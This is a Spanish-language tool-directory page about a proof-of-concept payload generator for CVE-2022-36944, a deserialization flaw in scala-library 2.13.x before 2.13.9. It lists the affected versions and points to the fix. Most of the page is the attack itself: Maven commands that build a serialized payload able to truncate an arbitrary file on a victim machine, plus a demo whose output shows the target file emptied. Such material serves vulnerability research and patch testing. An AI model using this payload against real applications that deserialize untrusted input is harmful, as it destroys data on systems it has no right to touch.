Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
lazylist-cve-poc — POC para el exploit de la vulnerabilidad CVE-2022-36944 | Kitploit
Herramientas/GitHubGitHub/yarocher/lazylist-cve-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubyarocher/lazylist-cve-poc

lazylist-cve-poc

POC para el exploit de la vulnerabilidad CVE-2022-36944

Ver Repositorio
11113hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Generador de payloads para CVE-2022-36944

Este mini-proyecto se ha creado para demostrar la prueba de concepto de la vulnerabilidad CVE-2022-36944. Es similar a ysoserial, pero genera payload únicamente para esta CVE con la clase LazyList.

FAQ rápida

¿Qué artefactos traen la vulnerabilidad?

org.scala-lang:scala-library con versiones 2.13.x anteriores a 2.13.9

¿Qué aplicaciones son vulnerables?

Se deben combinar dos condiciones para que tu aplicación sea explotable:

  • Tu aplicación contiene el jar scala-library vulnerable en el classpath
  • ObjectInputStream#readObject() se llama eventualmente en algún lugar de tu aplicación y se le pasan datos no confiables (controlados por el atacante)
Descargar herramienta

¿Dónde se corrigió la vulnerabilidad?

Consulta el PR de scala: #10118

Compilación

root@kitploit:~
mvn clean package

Ejecución

El siguiente comando volcará el payload en stdout, el cual puede usarse para truncar un archivo arbitrario en la máquina de la víctima:

root@kitploit:~
mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="/file/to/truncate false"

Demostración

A) Mediante un archivo

  1. Prepara un archivo de prueba con algunos datos dentro:
root@kitploit:~
$ yes sometestdata > test_data
^C
$ head test_data 
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
  1. Genera el payload y guárdalo en el archivo payload.ser:
root@kitploit:~
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" > payload.ser
  1. Ejecuta el proceso de la víctima (se espera una ClassCastException):
root@kitploit:~
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="payload.ser"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
  1. Verifica que el archivo de la víctima fue truncado:
root@kitploit:~
$ head test_data 
$ 

B) Tubería a stdin

Los pasos 2 y 3 se pueden combinar de esta manera (usa "-" como archivo para Victim):

root@kitploit:~
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" | mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="-"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException